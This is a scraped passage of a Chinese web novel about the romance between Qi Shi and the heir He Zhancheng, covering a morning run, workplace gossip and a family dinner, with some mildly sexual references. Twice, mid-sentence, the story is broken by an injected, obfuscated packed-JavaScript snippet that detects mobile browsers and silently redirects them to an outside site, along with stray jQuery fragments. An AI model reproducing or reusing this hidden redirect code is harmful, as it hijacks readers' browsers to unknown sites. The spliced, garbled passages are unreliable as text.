何湛程终于舒服了:“谢谢佟叔叔。” 佟叔叔笑着打趣他:“转性了?怎么突然就想来上学了?” 何湛程猛地仰头,将杯中猩红液体一饮而尽,酒气冲天地对电话洪声发愿:“因为我不想再虚度光阴了!我决定要努力学习,报效祖国!” 佟叔叔情绪被调动起来,激动道:“好孩子!有志气!” 有志气的好孩子挂掉电话,满身青紫吻痕,打着哈欠回里屋,一头扎进新铺好的柔软大床上补觉去了。 *** 沿海岸公路旁,两排整齐的棕榈树摇晃着,清晨一轮红日从海平面升起,淡淡咸湿的海风拂过面颊,吹得人神清气爽。 戚时刚结束一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449654|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场二十公里的长跑,满身淋漓着大汗,路过商店,操着一口塑料英语,买了瓶电解质水。 粗大喉结起伏滚动,他仰脖子猛灌掉一整瓶水,汗珠从额角滑落冷硬锋利的下颚线,浸湿薄薄的衣衫,露出胸膛饱满起伏的肌肉线条。 一米九的高挑身形沐浴在初晨阳光里,连背影都格外耀眼。 喝个水的功夫,不断有来搭讪的男女,还有人将他误认成明星,想要合影,他一律摆手说“sorry”,然后掏出手机,向他们展示他家少爷威风凛凛坐在游艇上冲镜头瞪眼摆臭脸的屏保照片—— 上周去岛上潜水,俩人吵架拌嘴,少爷大马金刀坐在甲板的沙发床上,励志要在外面晒死自己,戚时耐着性子劝人回去吃午饭,少爷跟他怄气,死活不肯动,戚时气得一笑,当场举手机对人来了个即兴抓拍,骗对方说,他拍了一张少爷满脸油腻腻的丑照,少爷脸色一变,腾地跳起来,死命追着他打,非让他把照片删了不可。 戚时糊弄着少爷吃完饭,才给人看一眼这张清爽动人的霸气帅照。 少爷哼一声,还没说点什么,戚时飞快凑人嘴边亲了一下,然后把少爷的帅照设置成自己的手机屏保。 少爷本来挺得意,没嘚瑟几分钟,说要不还是算了吧。 少爷担心他生意场上需要应酬交际,堂堂一个集团总裁,整日沉溺于儿女情长,对象还是个男的,给人看见实在有失身份。 戚时也思虑到这一层,说,以后干脆就对外宣称咱们是好哥们,屏保也是俩人闹着玩设置的,没人会认真计较这些。 少爷笑了笑,说也行。 “我们自己知道就好了。”戚时说。 “知道什么?”少爷又逗他。 “我爱你。” 少爷从此就很少再逗他了。 戚时喜欢用这么简单明了的方式向众搭讪者表明他名草有主了。 众搭讪者意料之中,遗憾一笑,见到少爷照片,不禁夸赞起他和少爷的般配来,还祝愿他们会一直幸福。 戚时也觉得他和少爷会一直幸福。 一晃眼,来坎昆已经大半个月了,他的寸头逐渐长起来,茉莉再三要求,他作为集团CEO必须把短发留起来,否则成天顶着一头青皮,模样实在凶悍,跟个社会不良分子似的,这样谁还肯和擎荣谈生意? 戚时专门跑去征询过少爷的意见,问人更喜欢他留短发还是寸头? 少爷说,当然是寸头啊,你留寸头特别带劲,人长得又猛又显年轻,感觉操起来会很爽。 戚时果断决定要把头发留起来! 远远的,何棣坤半岛型的海景别墅沐浴着晨曦,巍峨矗立于黑礁岩石之上,宛若一座盘踞在云霄之巅的欧式古堡。 戚时嘴角轻扬,一想到他的程儿还埋头钻在被窝里睡懒觉,穿着那条碎菊花蓝底的大裤衩,顶着一团乱糟糟的鸡窝头,偶尔做美梦了还会嘿嘿的笑出声来,他整颗心就不禁觉得十分愉悦快活。 他掀衣摆擦了擦汗,将蓝牙耳机里播放着的动感十足的DJ切换为舒缓些的音乐,给他的小懒猪发过去一条“起床没,太阳晒屁股了”。 两分钟过去,没等到人回复,倒收到裴玉和茉莉几乎同一时间发给他的消息。 小裴:时哥,有个事儿想和你说一下【跪地】 茉莉:老板,算我一个【跪地】 戚时一乐,分别回复那俩人一句“你俩好上了?” 小裴:…… 茉莉:…… 俩人异口同声:不是! 戚时干脆建了个临时三人群,发话问: 怎么了? 裴玉和茉莉一人一句,争先恐后着发语音解释。 小裴:“我早上来公司找你,你不在,我就问茉莉姐你去哪儿了?” 茉莉:“我当时在忙,忘了他貌似知道您和三少的事,随口就把您去坎昆出差的事跟他说了。” 小裴:“茉莉姐说你快一个月没回来了,那时间点刚好是三少离开燕京的日期,我就猜,你可能去找他了。” 茉莉:“我看出他是想通过您来找到三少在哪儿,就拦了几句。” 小裴:“然后我就确信,你肯定是去找三少了!” 茉莉:“然后他就要订机票,也想去找三少!” 小裴:“然后她就吼了我一句‘别捣乱’!” 茉莉:“然后他就说您不了解三少,他是去牺牲自己,挽救您于水火之中!” 小裴:“然后她就说,你这么长时间没回来,肯定是和三少在一起了,我去了只有挨揍的份儿!” 戚时黑着脸打断:“你俩搁这儿念课文呢,说重点!” 二人不约而同发一条: “然后,董事长突然就出现了,问我们三少是谁?” 戚时吓一跳,心脏突突了两下,问:“那你们给他说了?他什么态度?” 小裴:“他有点不敢相信。” 茉莉:“找我们反复确认,是不是沪上何澜家的老三。” 小裴:“然后他就说你出息了。” 茉莉:“董事长临走之前交代我们,让您度完了假带着三少去找他。” 戚时一顿,不太乐意地问: “老子搞对象,找他干什么?” “他说,他也想看看你是怎么老牛吃嫩草的。” 戚时:“…………” 47.第47章 何湛程这周开始看书了。 少爷破天荒收敛起往日浮躁做派,一整天除了吃饭喝酒上床做*爱,就把自己闷在书房电脑桌前,埋头狂翻堆在手边的一摞全英教材和数不清的论文复印件,戚时一日三餐亲自上楼给少爷送饭,习惯性瞥两眼少爷的阅读书物,只能看懂一本《Econometrics Analysis: Global Edition》—— 的书名。 《计量经济分析》。 这书大概内容戚时有过了解。 他读硕的时候,有那么一段格外励志的日子:每星期三,早六点从床上跳起来,和宿舍一帮哥们跑去燕大金融系蹭座,只为听一节燕大早八的全英授课的计量经济学。 据说和燕大校花同一个课时表。 他凭着一张帅脸,不费吹灰之力就得到了校花的青睐,校花人美心善,把自己课本分享给他看,还贴心给他翻译当堂课的内容,可他低头一看那满纸页的英文,蚯蚓小字犹如魔咒一般在他脑髓里乱爬,他就开始不耐烦。 俩人在暧昧阶段的时候,校花说她要帮他补课,条件是,他每周三得请她吃饭看电影,有空了还得开着那辆奔驰大G带她去燕体玩儿。 他想也不想就拒绝了,说俩学校离太远了,开车要半个多小时呢,他腻了,以后就不来了。 校花大半夜发八百字小作文,问他是不是出轨了? 他震惊于她的脑回路,回一句“咱俩什么时候在一起过?” 第二天早,他被实名挂在燕体和燕大的学校论坛上,大红字“渣男”的标签贴在他英俊潇洒的打篮球帅照上,不到仨小时,他被骂了一千多层楼,从此“戚时”的大名就在这两所学校闹得人尽皆知,可谓是红极一时。 不过他后来还是无缝衔接谈上了两个貌美如花的文科硕士。 没法子,他实在太帅了。 新女友全都有一个通病:知道他无父无母,于是格外包容他的野性子,可谈久了,她们就开始变得特别喜欢管教他。 督促他努力学习,不允许他虚度光阴,一日查六次岗,翻他手机,不准他和任何异性进行肢体接触,还有,他抽烟喝酒也要戒掉,然后许下美好心愿,希望他在毕业后和她一起奋斗打拼,两人共同组建一个美好的家庭。 女友说,就算他不差钱,他也得成为一个勤恳上进的好男人,否则他整天拈花惹草游戏人间,会让她觉得很没安全感。 他当然就和她分手了。 不止这一个她,还有很多个她。 他就不是那种能给别人安全感的男人。 这一点,她们在最初认识他的时候就知道了。 既然知道,为什么又要费尽心机地改变他? 从始至终,从小到大,都应该是别人给他安全感才对。 他这种没有梦想的人,为什么要为了别人的愿望而努力奋斗? 他家少爷就不一样了。 少爷正式向他发出邀请,一句“跟我回曼哈顿,我赚钱养你”,戚时就知道自个儿这回选对了人。 何湛程,何三少,自幼接受顶尖精英教育,智体美劳全面发展,念起书来更是如鱼得水游刃有余,当然跟他不一样。 戚时每次走进书房,不禁屏住呼吸,放轻脚步,见少爷凝眉冷肃,一脸的淡漠疏离拒人千里之外,那双冷白修长、美得宛若艺术品的手,从容而紧密地悬在键盘上敲击,他侍立在旁边,一瞥之下,只见满屏密密麻麻的英文论文。 显示屏的亮光映射在那人年轻而睿智的深眸里,戚时望着对方全神贯注盯着论文的侧脸轮廓,无数次心跳如狂。 同时也感到十分紧张。 戚时不傻,知道少爷这是在准备回哥大念书了,之前二人就“纽约还是燕京”协商了好几次,都以失败告终,按照何湛程叛逆的犟性子,他就算说一百遍“跟我回燕京”,这人也不会老老实实跟他走。 戚时就去找何棣坤,说他准备走了。 何棣坤点点头,说了句行。 这晚,何湛程高昂着下巴,梳着龙须短背的发型,一袭藏青色西服正装,两手插兜,拽气冲天,迈着傲人的大长腿,威武堂堂亲自下楼来吃饭。 烛火辉煌的晚餐桌上,何湛程笑容满面地举起香槟,跟两个二哥庆祝,说他申请入学的线上笔试、面试都通过了,从今天起,他要给自己放假! 戚时漫不经心地跟他碰了下杯,说了句“恭喜”。 何棣坤看热闹不嫌事大,贼笑着冲人“哦”一声,视线锁定在自家老弟脖子上的吻痕,正要打趣几句,猛然又想起上次老三说戒过药的事。 怎么着都是亲兄弟,何棣坤怕人重新回去上学再累着,已经到嘴边的流氓话就变成了谆谆嘱咐: “你就玩儿着学行了,就那么几张破纸、几个破学位,都是糊弄人的东西,哪有你的身体重要?你真想要,回头我给你弄个十张八张的,咱犯不着累死累活的跟他们那群人耗。” 何棣坤知道他家老三这几年没少瞎整事儿,17岁还在读国际高中,成天翘课跑到集团跟董事会那帮老家伙学炒股,手里赚了点钱,全花在玩儿女人和男人身上了。 要么说是“阔少”呢,虽然没给床伴分手费的习惯,但老三喜怒无常的,高兴了随便逮个人就一掷千金,混夜店、包酒吧,玩儿疯了当众撒个八九十万都是常有的事儿,还偷偷背着他和老大,混进去哥俩开的私人会所,包养男宠女宠无数。 坊间曾传出何三少一夜玩过六个男女,老三私下跟他们哥几个辟谣,说其实才四个。 可从此落了个“沪上第一浪子”的名号。 这远比他大哥、二哥还要嚣张高调的、靠一段风流韵事名声远扬的“何三少”,放眼整个沪圈,更是无人不知,无人不晓。 十八岁,老三上大学,家里老爷子不放心,托几个在华尔街开公司的美籍华裔朋友帮忙看着点儿,生怕他这个爱惹事的宝贝疙瘩离了家就更野了,有个做投行的老董和老爷子交情不错,就把何老三弄进自己公司做数据分析实习生,还往老三身边指派了不少青年才俊,试图用一帮高智商的业界精英碾压掉老三身上的少爷病。 第一年还好,老三刚到美国,一切都新鲜,人也机灵,平时学习工作忙得连轴转,没机会作恶多端,只是浅浅地施展了下魅力,把老董派来带他的那群精英们全都睡了一个遍,还蛊惑得一个资深金融大佬成了忠心耿耿追随他的小尾巴; 第二年,这小子就憋不住了。 虽然何棣坤很不想承认,但老三的确是天赋异禀,这人几乎炫技式逞强,日夜兼修,攻读两个学位,把学分修到4.0,工作也极为出色,才一年半的时候就升职加薪,自认为想学的已经全部学到手,又跳槽去别家公司学做对冲基金。 何老三,年少轻狂,不知所谓,小小年纪,居然就学着金融大佬玩儿建仓做空那一套,拿着家里给的零花钱,在私人别墅里成立了个小金融科技公司,初时操纵稳妥,赚了三千多万美元,尝到甜头后,变本加厉在股市大肆施展身手,很快,局势开始失控,本来看跌的目标公司,某日突然宣布他们即将发布一款新能源科技产品,消息刚放出来,该公司股价暴涨540%,何老三一夜之间赔进去二百亿美元,气得心脏病复发,直接就晕进了医院。 二百亿美元,哪怕是何老大亲自带人去补救,整个何氏集团也要跟着大出血。 何湛程,他们亲爱的惹祸精弟弟,一瓶子不满,半瓶子晃荡,十九岁的年纪,凭借一己之力,不知从哪儿撬动了上亿的美金,险些搭进去自己半条命。 值得庆幸是,有那位金融大佬在幕后坐镇,早在老三搞小动作之前,那人就提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461703|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下了后手,所谓“多空策略”,事后不仅帮老三轻松摆平债务危机,还多盈利十多万美元。 据说那个金融大佬自从跟老三好上后,就一直住在老三的别墅里,那次股市波动有惊无险,可他家老三向来顺风顺水惯了,猝然遭逢巨大挫败,本就阴晴不定的性情变得更加诡谲了。 金融大佬用盈利的十来万美元彩头,给何老三买了只戒指,单膝跪地,在老三的病床前求婚,何湛程却视这枚戒指为讽刺他操盘失误的耻辱,勃然暴怒,抄起手边一切东西,连扔带砸,把那人给赶走了。 何棣坤当时去纽约长老会医院接老三回国,和那个金融大佬打过几次照面。 对方是个三十来岁的法国人,叫洛厄尔,一头灰粽浅色卷发,深白皮肤,淡蓝眼珠暗含几分忧郁,清俊隽秀的容颜很显年轻。何棣坤和人聊没两句,就知道了对方是大有来头的世家贵公子。 洛厄尔家族是全球奢侈品牌行业的绝对统治者,整个家族持有八十二个奢侈品牌的股权,洛厄尔的父亲目前个人身价是2500亿美元,洛厄尔与他其余四个兄弟姐妹也均进入福布斯富豪榜,实力不容小觑。 何棣坤于是就知道老三炒股的那些保证金从哪里来的了。 也正因此,老爷子和何闽轩不敢分给老三一分一厘的何氏集团的股份。 何湛程如果缺钱,就只能找老大要零花。 鉴于此人超凡绝伦的闯祸能力,何老三因此成为家族里唯一一个零花钱被管得死严的二代子弟。 何棣坤猜,最近半年老大想方设法地整老三,卡也给人停了,老三没了零花,出门在外连买个汽水都要看人脸色—— 堂堂何家何三少,十九岁就拿着上亿的美金在股市搅动风云,什么时候这么憋屈过? 这下斗志又被激发出来,或许还有那么几分想要带戚时去美国定居的成分在,反正,何棣坤知道他这个弟弟是决意要自力更生了。 何棣坤是欣慰的。 但内心也很怕这小子太年轻,怕人重回故地,再度惹出来麻烦。 于是话接上句,向何湛程笑着提议:“这次说什么都得痛痛快快玩儿一场了!我叫点人来,明晚咱们就去岛上办个游艇party,让大伙儿都给你庆祝庆祝!” 何湛程也想玩儿,正要脱口而出一句话“好啊”,余光一瞥,看到戚时坐在一旁埋头吃菜,怕他家大宝贝吃醋不高兴,就摇了下头。 “不了,我俩明天去墨城坐热气球,你自己玩儿去吧。” 戚时抬头看他一眼。 何湛程挑眉:“怎么,不想去?” 何棣坤忙道:“不影响不影响,你们白天随便去哪儿逛,大好的日子,晚上就叫上弟夫一块儿玩呗!” 何湛程正要拒绝,戚时轻轻握住他手腕,仰脸望着他:“程儿,去吧,我和你一起。” 何湛程纳闷戚时怎么突然转了性,这么温顺,实在不像戚老二的做派,但他内心又的确很想去玩,于是就没再多问。 笑着点头:“好。” “还有,”何棣坤打趣的目光在对面二人身上来回扫视,笑着提醒,“加州那俩天才也要来,你可得把你的人守紧点儿。” “他们不准来。”何湛程冷冰冰放话。 “为啥?” 何湛程一本正经道:“未成年儿童不许参加成人聚会。” 何棣坤不明所以,便听戚时问:“俩天才是谁?” 何湛程微微笑:“是两个比我还要年轻貌美的何家小辈,怎么,你很感兴趣?” 戚时也笑,牵着他手放到唇边,低头吻了一下:“我有你了。” 何棣坤哈哈笑起来。 窗外夜色撩人,仨人各怀心思,举杯相碰: “为老三!” “为我自己!” “干杯!”